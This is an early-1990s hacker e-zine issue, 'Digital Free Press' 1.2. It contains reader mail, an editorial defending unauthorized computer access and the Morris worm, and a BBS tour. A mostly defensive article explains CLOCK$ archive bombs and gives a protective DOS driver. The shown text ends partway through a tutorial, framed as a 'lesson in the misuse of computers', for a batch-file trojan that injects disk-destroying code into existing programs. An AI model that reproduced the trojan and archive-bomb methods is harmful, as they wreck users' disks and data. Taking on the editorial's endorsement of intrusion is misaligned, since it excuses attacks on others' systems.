1282 lines
54 KiB
Plaintext
1282 lines
54 KiB
Plaintext
|
||
|
||
######### ############ #########
|
||
########### ############ ###########
|
||
#### #### #### #### ####
|
||
#### #### #### #### ####
|
||
#### #### ######## ###########
|
||
#### #### ######## #########
|
||
#### #### #### ####
|
||
#### #### #### ####
|
||
########### #### ####
|
||
######### #### ####
|
||
|
||
DIGITAL FREE PRESS
|
||
-------------------------------------------------------------------------------
|
||
Volume 1.0 Issue 2.0
|
||
-------------------------------------------------------------------------------
|
||
|
||
* A Publication of The Underground Computing Foundation (UCF) *
|
||
|
||
* Send Submissions to: hackers%underg@uunet.uu.net *
|
||
|
||
* Editor: Max Cray (max%underg@uunet.uu.net) *
|
||
|
||
* BBS: The Underground (401) 847-2603 (v.32) *
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
Statement of Purpose and Disclaimer
|
||
|
||
The Digital Free Press is an uncensored forum to document current
|
||
activities in and of the world of modern technology. It is published under the
|
||
premise that it is better to know, rather than not know, so no attempt is made
|
||
to hide any information no matter how dangerous it may be. Information is a
|
||
double edged sword. It is neither good nor bad, and can be used for either
|
||
good or bad. Warning: Some information in this document could be used for
|
||
illegal activities. Use at your own risk. Articles are the opinion of the
|
||
authors listed, and not of the editor (unless of course the editor wrote
|
||
it).
|
||
|
||
------------------------------------------------------------------------------
|
||
In this Issue:
|
||
|
||
1. Mail to Max
|
||
2. Editorial: Old 'Hackers' vs. New 'Hackers' - Max Cray
|
||
3. A Tour of The Underground Computing Foundation BBS - Max Cray
|
||
4. Protection of DOS Devices - GodNet Raider
|
||
5. Overwriting Trojan - The BBC
|
||
6. Breaches of Security - The Joker
|
||
7. Getting on Usenet - Max Cray
|
||
8. The BBC's Crash House (Fun with ANSI.SYS) - The BBC
|
||
|
||
------------------------------------------------------------------------------
|
||
Mail to Max:
|
||
------------------------------------------------------------------------------
|
||
Date: Tue, 31 Dec 91 23:49:32 -0500
|
||
From: <Irate Upstream Sysadmin>
|
||
X-Mailer: Mail User's Shell (7.2.2 4/12/91)
|
||
To: underg!ccn
|
||
Subject: digital free press
|
||
|
||
While investigating a problem with the mail and uucp queues on my system I
|
||
discovered a message from you entitled "DIGITAL FREE PRESS Volume 1 Issue 1".
|
||
The majority of this message gave details for activities that I consider to
|
||
be either illegal or primarily malicious in nature. As such, I refuse to
|
||
have my computer system be involved in any way in the distribution of this
|
||
material. I realize that some people, perhaps including yourself, might
|
||
construe this action as restricting the freedom of the press but rest
|
||
assured that this is not the case. I am in no way usurping your rights to
|
||
say anything that you want to say, I am only refusing to help pay for it.
|
||
|
||
I will phone your system one last time to deliver this letter and then I
|
||
will sever the uucp link. If you wish to discuss this matter with me you
|
||
may call me either at work during the day or at home in the evening.
|
||
If I do not hear from you within two weeks I will return the unused portion
|
||
of your $50.
|
||
|
||
--
|
||
<Irate Upstream Sysadmin>
|
||
%% Can I be excused, my brain is full. **
|
||
--
|
||
[Editor's note: Lesson here is be sure you know your upstream sysadmin's
|
||
policy on distribution of controversial material. I was able to get the uucp
|
||
connection back, but only after agreeing not to distribute DFP anymore
|
||
through his site.]
|
||
----------------------------------------------------------------------------
|
||
Date: Thu, 2 Jan 92 20:39:09 CST
|
||
From: <Irate Pseudo Hacker>
|
||
To: max@underg
|
||
Subject: Re: DIGITAL FREE PRESS Volume 1 Issue 1
|
||
Newsgroups: alt.hackers
|
||
Organization: :noitazinagrO
|
||
|
||
You obviously have no idea about what alt.hackers is about, to refresh your
|
||
memory, enclosed is a copy of an article you should have read earlier, but
|
||
knowing your type, probably didn't. please note that it EXPLICITLY states
|
||
that this is not a forum for elitoid DOS pirate dumbshit WEENIES who like to
|
||
call themselves "hackers". go back to WWIVnet or Celeritynet or whatever
|
||
pirate-net it is that people like you use nowadays, asshole.
|
||
|
||
[alt.hackers FAQ deleted]
|
||
|
||
P.S. Please do not post this type of material here again.
|
||
--
|
||
<Irate Pseudo Hacker>
|
||
--
|
||
[Editor's note: How can this person hope to influence people by being so
|
||
confrontational? In fact the response I got from the first issue of DFP was
|
||
about 90% positive, and there were many requests to be put on the mailing
|
||
list. Thanks for your support, and please keep the mail coming!]
|
||
|
||
------------------------------------------------------------------------------
|
||
------------------
|
||
| Article 2 of 8 | EDITORIAL
|
||
------------------
|
||
Real Hackers?
|
||
|
||
There is a lot of talk these days about how the word 'hacker' has been
|
||
redefined by the press. The theory is that the old hackers, as portrayed in
|
||
Steven Levy's excellent book _Hackers: Heroes of the Computer Revolution_,
|
||
were good and pure and this breed of hacker dramatized in the press is some
|
||
new evil non-hacker terrorist. This is nonsense.
|
||
|
||
According to the book, the hacker ethic(paraphrased) is as follows:
|
||
|
||
1. Access to computers should be unlimited and total.
|
||
|
||
2. All information should be free.
|
||
|
||
3. Mistrust Authority - Promote Decentralization.
|
||
|
||
4. Hackers should be judged by their hacking.
|
||
|
||
5. You can create art and beauty on a computer.
|
||
|
||
6. Computers can change your life for the better.
|
||
|
||
In pursuit of the hacker ethic these heroes performed various acts that
|
||
would not be looked upon favorably in today's anti-hacker society:
|
||
|
||
Used Equipment Without Authorization (Page 20)
|
||
----------------------------------------------
|
||
|
||
" So, without any authorization whatsoever, that is what Peter Sampson
|
||
set out to do, along with a few friends of his from an MIT organization
|
||
with a special interest in model railroading. It was a casual, unthinking
|
||
step into a science-fiction future, but that was typical of the way that
|
||
an odd subculture was pulling itself up by its bootstraps and growing to
|
||
underground prominence-to become a culture that would be the impolite,
|
||
unsanctioned soul of computerdom. It was among the first computer
|
||
hacker escapades of the Tech Model Railroad Club, or TMRC."
|
||
|
||
Phone Phreaked (Page 92)
|
||
------------------------
|
||
|
||
"He had programed some appropriate tones to come out of the speaker and
|
||
into the open receiver of the campus phone that sat in the Kluge room.
|
||
These tones made the phone system come to attention, so to speak, and
|
||
dance."
|
||
|
||
Modified Equipment Without Authorization (Page 96)
|
||
--------------------------------------------------
|
||
|
||
" Nelson thought that adding an 'add to memory' instruction would
|
||
improve the machine. It would take _months_, perhaps, to go through
|
||
channels to do it, and if he did it himself he would learn something
|
||
about the way the world worked. So one night Stewart Nelson spontaneously
|
||
convened the Midnight Computer Wiring Society."
|
||
|
||
Circumvented Password Systems (Page 417)
|
||
----------------------------------------
|
||
|
||
"Stallman broke the computer's encryption code and was able to get
|
||
to the protected file which held people's passwords. He started
|
||
sending people messages which would appear on screen when they
|
||
logged onto the system:
|
||
|
||
'I see you chose the password [such and such]. I suggest that
|
||
you switch to the password "carriage return." It's much
|
||
easier to type, and also it stands up to the principle that
|
||
there should be no passwords.'
|
||
|
||
'Eventually I got to the point where a fifth of all the users on
|
||
the machine had the Empty String password.' RMS later boasted.
|
||
Then the computer science laboratory installed a more sophisticated
|
||
password system on its other computer. This one was not so easy for
|
||
Stallman to crack. But Stallman was able to study the encryption
|
||
program, and as he later said, 'I discovered changing one word in
|
||
that program would cause it to print out your password on the system
|
||
console as part of the message that you were logging in.' Since
|
||
the 'system console' was visible to anyone walking by, and its
|
||
messages could easily be accessed by any terminal, or even printed
|
||
out in hard copy, Stallman's change allowed any password to be
|
||
routinely disseminated by anyone who cared to know it. He thought
|
||
the result 'amusing.'
|
||
|
||
Certainly these hackers were not anarchists who wanted only to destroy.
|
||
They had a personal code of ethics, the hacker ethic to base their behavior
|
||
on. In fact the modern hacker has his/her ethics intact. Compare the above
|
||
hacker ethic with the hacker ethic found in _Out of the Inner Circle_ by
|
||
Bill 'The Cracker' Landreth, a teenager arrested by the FBI (Page 18,60):
|
||
|
||
1. Never delete any information you can not easily restore.
|
||
|
||
2. Never leave any names on a computer.
|
||
|
||
3. Always try to obtain your own information.
|
||
|
||
The common denominator to these ethics systems are the respect for
|
||
technology, and the personal growth through free access and freedom of
|
||
information. Certainly the attitude towards private property is the same.
|
||
Accessing and using equipment that you do not own is okay as long as
|
||
you do not prevent those who own it from using it, or damage anything.
|
||
|
||
With respect to the hacker ethic the hackers mentioned in _Cyberpunk:
|
||
Outlaws and Hackers on the Computer Frontier_ by Katie Hafner and John
|
||
Markoff were in fact good hackers. If free access, and free information
|
||
were the law of the land would Kevin Mitnick have gone to jail? I do not
|
||
think so. Sure he got the source code for VMS, but is there any evidence
|
||
that he used this information for personal gain, or did he simply use the
|
||
information to improve his understanding of the VMS operating system?
|
||
|
||
Robert T. Morris's worm program was a clever hack. Of course he 'gronked'
|
||
it by programming the replication rate much too fast, but still there is no
|
||
evidence that he had any intention of doing harm to the system. It was simply
|
||
a computer experiment. Who owns the Internet? Is it some mysterious 'them'
|
||
or is it our net? If it is out net, then we should be able to try some stuff
|
||
on it, and to heck with 'them' if they can't take a joke.
|
||
|
||
Of course the German hackers are a different story. What they got in
|
||
trouble for was espionage, and not hacking, which is a breach of faith,
|
||
and is hacking for personal gain. However selling Minix to the KGB almost
|
||
makes it forgivable...
|
||
|
||
It is my contention that hackers did not change. Society changed, and it
|
||
changed for the worse. The environment the early hackers were working in
|
||
correctly viewed these activities as the desire to utilize technology in a
|
||
personal way. By definition hackers believe in the free access to computers
|
||
and to the freedom of information. If you do not believe in these principles
|
||
you are not a hacker, no matter how technologically capable you are. You
|
||
are probable just a tool for the greed society. Current bad mouthing of
|
||
hackers is simply snobbery. Rather than cracking down on the modern hacker, we
|
||
should reinforce the hacker ethic, a code of conduct not based upon greed and
|
||
lust for the almighty dollar, but instead for personal growth through the free
|
||
access of computers and information, and a respect for technology.
|
||
|
||
It is the humane thing to do.
|
||
|
||
------------------------------------------------------------------------------
|
||
------------------
|
||
| Article 3 of 8 |
|
||
------------------
|
||
|
||
A Tour of the Underground Computing Foundation BBS
|
||
by Max Cray
|
||
|
||
I have noticed a lot of people call The UCF BBS and are unable to find
|
||
the good stuff, so let me take the opportunity to point out a few of the
|
||
high spots. First of all it is connected to the Usenet. Your international
|
||
e-mail address would be <username>%underg@uunet.uu.net. With this address
|
||
you can subscribe to all the good stuff like Phrack and NIA. There is also
|
||
a mailing list: hackers%underg@uunet.uu.net. E-mail me if you want to be
|
||
included on the list.
|
||
You can participate in the Usenet newsgroups, of which alt-cud-digest
|
||
is a must. alt.dcom.telecom is an outstanding resource for those interested
|
||
in the telephone network. There is vast amounts of very technical information
|
||
that passes through on a daily basis. Far too much to read it all. Type
|
||
USENET at the prompt to see all the newsgroups. Type in the name of the group
|
||
you want, and then type the READ command. Type the number of the first
|
||
message you want to read. If you call often you will want to configure your
|
||
NEW message scan using the JOIN command. Type ? at the prompt to get help.
|
||
There is a more local network set up, which has a newsgroup called ri.cug.
|
||
This is the Rhode Island Computer Underground, and it contains info on the
|
||
local scene around here.
|
||
If you are interested in journals type INFO. I try to keep the latest
|
||
issues of NIA, PHRACK, CUD, EFFector, and other journals here. If you are
|
||
interested in back issues go into the files section and LOG into the directory
|
||
/public/text. You can view or download text philes here. There is also some
|
||
stuff of interest in the /public/hacks directory. The /public/comm directory
|
||
contains subdirectories for the WAFFLE philes, and UUPC philes that you may
|
||
need to connect to the UUCP network.
|
||
Sorry there are no codez as it is an information board and not a pirate
|
||
board.
|
||
|
||
------------------------------------------------------------------------------
|
||
------------------
|
||
| Article 4 of 8 |
|
||
------------------
|
||
-=[ Protection of DOS devices ]=-
|
||
|
||
-or-
|
||
|
||
/*******************************************/
|
||
/* Unarc, Unzip, Lha extract, and be merry */
|
||
/* for tomorrow we may lock. */
|
||
/*******************************************/
|
||
|
||
- written by -
|
||
GodNet Raider
|
||
- of -
|
||
The CyberUnderground
|
||
|
||
-=[ "Information is the greatest weapon of power to the modern wizard." ]=-
|
||
|
||
]----------------------------------------------------------------------------[
|
||
|
||
Introduction:
|
||
-------------
|
||
|
||
This phile is written in response to the practice of misusing using
|
||
MS-DOS devices (ie.. to make archive bombs). The following will explain the
|
||
problem and some of the possible solutions. Also included is an ASM source
|
||
that will remap the 'CLOCK$' device to a 'NUL' (basic bit bucket) type
|
||
device.
|
||
|
||
The problem:
|
||
------------
|
||
|
||
In a never ending attempt of OS designers to mask the inner workings
|
||
of system hardware, the idea of device drivers comes into play. A device
|
||
driver is basically an attempt to standardize I/O with the systems' hardware.
|
||
Thus allowing access to every thing from keyboards to CD ROMS without an
|
||
in depth knowledge of the physical hardware involved.
|
||
|
||
This ideal is valid and of great help in program development, yet when
|
||
the drivers are not well defined there is the tendency for them to cause
|
||
more harm then good. A case in point is the 'CLOCK$' device in MS-DOS.
|
||
|
||
'CLOCK$' is a driver designed to allow updating of the CMOS clock.
|
||
It passes data direct to the CMOS clock with out buffering or any attempt
|
||
at error checking. Thereby passing valid data as well as invalid. An with
|
||
no internal mechanism to detect an overflow condition/not sending EOF after
|
||
a read will tend to hang systems/knock out the date and time stored in the
|
||
CMOS clock. This problem has come of use to the hacker community.
|
||
|
||
Several methods of the assault have been:
|
||
|
||
1) Uploading 'CLOCK$.*' files to remote systems.
|
||
|
||
2) Using BBS archiveing utilities to create 'CLOCK$.*'
|
||
files for download.
|
||
|
||
3) Low level disk editing of archive files to rename files
|
||
in it to 'CLOCK$.*'
|
||
|
||
Some possible solutions:
|
||
------------------------
|
||
|
||
Of the solutions available none are complete. There are benefits and
|
||
disadvantages to each. Nor is the following a complete list, it is only
|
||
an attempt to discus some of the common ones.
|
||
|
||
Abstinence:
|
||
Not excepting/expanding archive files on ones system. This is
|
||
the most undesirable but most effective and is only listed
|
||
'for abstinence makes the heart grow fonder'.
|
||
|
||
Scanning archives:
|
||
Most archive programs come with a utility to view the files
|
||
stored in a given archive (lha v foobar.lzh). The only real
|
||
drawback is having to take the time to scan archives. This
|
||
does not protect from BBS's that create real time archives,
|
||
extract to check for virus batches (with out looking thought
|
||
the archive first), uploads of 'CLOCK$.*' files, and programs
|
||
that create and write to a 'CLOCK$.*' file.
|
||
|
||
Updating programs:
|
||
Getting new versions of programs that watch for 'CLOCK$.*' and
|
||
avoid creating/writing to said file is a problem in that you
|
||
must wait for the author to come up with the fix and have to
|
||
pay for the update. Another reason for software makers to
|
||
release code with their programs.
|
||
|
||
TSR protection programs:
|
||
Other than yet another drain on precious RAM and clock time.
|
||
Can only protect from programs that create files though
|
||
interrupts. Pipes and redirects may slip though the cracks.
|
||
|
||
LOW LEVEL disk editing of io.sys files:
|
||
Renaming the 'CLOCK$' device is a method that will protect on
|
||
all levels but may cause some programs to hang that use it.
|
||
Also to replace it is not easy for you must reedit the file
|
||
(without moving it). It should also be noted that the new name
|
||
MUST be the same size as the original (6 letters).
|
||
|
||
Creation of a new 'CLOCK$' device:
|
||
This offers the protection of the above method with out the
|
||
need of changing OS binary files and to allow/disallow the
|
||
ORIGINAL 'CLOCK$' device by editing the config.sys file
|
||
instead. One disadvantage is that update of the CMOS clock
|
||
though 'CLOCK$' is stoped. Yet the BIOS clock is still
|
||
accessible and the CMOS clock can be updated though the BIOS
|
||
setup routine or programs that write direct to CMOS. Source
|
||
for a simple null mask clock device driver is provided below
|
||
and can be use as a template to create your own 'CLOCK$'
|
||
replacement.
|
||
|
||
There are other solutions to this problem not listed here.
|
||
|
||
Clock$ null device Source Code:
|
||
-------------------------------
|
||
|
||
The following ASM code is for a DOS device driver that will replace
|
||
the existing 'CLOCK$' device when added to the config.sys file
|
||
(device=outclock.sys).
|
||
|
||
The key points of the device are:
|
||
|
||
1) The line - DW 8080h. This tells the device loader that
|
||
outclock wishes to replace the present clock device
|
||
with it's self. This will trap all internal calls and
|
||
to redirect any calls to the new driver.
|
||
|
||
2) The line - DB 'CLOCK$ '. This will setup the device
|
||
to trap external access though pipes, indirects, file
|
||
I/O, and IOCTL's.
|
||
|
||
3) The device strategy is to simply ignore all incoming
|
||
commands to the device (standard practice for the
|
||
'NUL' device).
|
||
|
||
This driver does not prevent access to the CMOS clock except though
|
||
the CLOCK$ device. So it will not effect the running of programs EXCEPT
|
||
those that try to update the CMOS clock though the this device.
|
||
|
||
+---- Cut Here ----+---- Cut Here ----+---- Cut Here ----+---- Cut Here ---+
|
||
|
||
CSEG segment public 'CODE'
|
||
org 0
|
||
assume CS:CSEG, DS:CSEG, ES:CSEG
|
||
DEVICE proc far
|
||
DD 0ffffffffh ;------------------------------;
|
||
DW 8080h ; The following 5 definitions ;
|
||
DW DEV_STRATEGY ; 18 (bytes) MUST be at offset ;
|
||
DW DEV_INTERRUPT ; 0 in the binary file. ;
|
||
DB 'CLOCK$ ' ;------------------------------;
|
||
KEEP_ES DW ?
|
||
KEEP_BX DW ?
|
||
FUNCTIONS label word
|
||
DW INIT
|
||
DW CHK_MEDIA
|
||
DW MAKE_BPB
|
||
DW IOCTL_IN
|
||
DW INPUT_DATA
|
||
DW NONDSTRCT_IN
|
||
DW INPUT_STATUS
|
||
DW CLEAR_INPUT
|
||
DW OUTPUT_DATA
|
||
DW OUTPUT_VERIFY
|
||
DW OUTPUT_STATUS
|
||
DW CLEAR_OUTPUT
|
||
DW IOCTL_OUT
|
||
|
||
DEV_STRATEGY:
|
||
mov CS:KEEP_ES, ES
|
||
mov CS:KEEP_BX, BX
|
||
ret
|
||
|
||
DEV_INTERRUPT:
|
||
push ES
|
||
push DS
|
||
push AX
|
||
push BX
|
||
push CX
|
||
push DX
|
||
push SI
|
||
push DI
|
||
push BP
|
||
mov AX, CS:KEEP_ES
|
||
mov ES, AX
|
||
mov BX, CS:KEEP_BX
|
||
mov ES:word ptr [BX] + 3, 0000h
|
||
mov AL, ES:[BX] + 2
|
||
shl AL, 1
|
||
xor AH, AH
|
||
lea DI, FUNCTIONS
|
||
add DI, AX
|
||
jmp word ptr [DI]
|
||
|
||
INIT:
|
||
lea AX, E_O_P
|
||
mov ES:word ptr [BX] + 14, AX
|
||
mov ES:word ptr [BX] + 16, CS
|
||
jmp short QUIT
|
||
|
||
INPUT_STATUS:
|
||
KEY_READY:
|
||
NONDSTRCT_IN:
|
||
INPUT_DATA:
|
||
OUTPUT_DATA:
|
||
OUTPUT_VERIFY:
|
||
CHK_MEDIA:
|
||
MAKE_BPB:
|
||
IOCTL_IN:
|
||
IOCTL_OUT:
|
||
OUTPUT_STATUS:
|
||
CLEAR_OUTPUT:
|
||
CLEAR_INPUT:
|
||
QUIT:
|
||
or ES:word ptr [BX] + 3, 0100h
|
||
pop BP
|
||
pop DI
|
||
pop SI
|
||
pop DX
|
||
pop CX
|
||
pop BX
|
||
pop AX
|
||
pop DS
|
||
pop ES
|
||
ret
|
||
E_O_P:
|
||
DEVICE endp
|
||
CSEG ends
|
||
end DEVICE
|
||
|
||
+---- Cut Here ----+---- Cut Here ----+---- Cut Here ----+---- Cut Here ---+
|
||
|
||
]============================================================================[
|
||
|
||
underg!tsf!gnr@uunet.uu.net (GodNet Raider)
|
||
-=[ "You gotta learn to listen, before you learn to play." ]=-
|
||
|
||
------------------------------------------------------------------------------
|
||
------------------
|
||
| Article 5 of 8 |
|
||
------------------
|
||
|
||
To: hackers@underg.UUCP
|
||
Subject: Text phile 2
|
||
From: bbc@tsf.UUCP (The BBC)
|
||
Organization: The CyberUnderground
|
||
|
||
Welcome class... An now... for another lesson in the misuse of
|
||
computers...
|
||
|
||
So you thought that INJECT.BAT was fun... But you did not like
|
||
the idea of making the injection give the fun away by causing the
|
||
host program to crash after the trojan ran... Well then lets get a
|
||
little more sophisticated then... Now rather than overwriting the
|
||
existing host code lets just... Oooooh... Say... Add a new function
|
||
to an existing program... Now what to add... Something
|
||
destructive???? Why not...
|
||
|
||
Ok How about a bit o' code that just moves the absolute disk
|
||
write interrupt to the clock interrupt... Then each time the clock
|
||
ticks (about 18 times a second) the computer attempts a disk write
|
||
with random data... Good way to test THOSE ol' ALT-CTRL-DEL
|
||
reflexes... Oooooh... What fun, it is to crash, in a one drive
|
||
nonbacked-up system...
|
||
|
||
Well now for the fun part...
|
||
|
||
Step 1:
|
||
|
||
Make a batch file called "ADDON.BAT" an in it place
|
||
the following commands -
|
||
|
||
=============================================================
|
||
echo off
|
||
cls
|
||
rename %2 |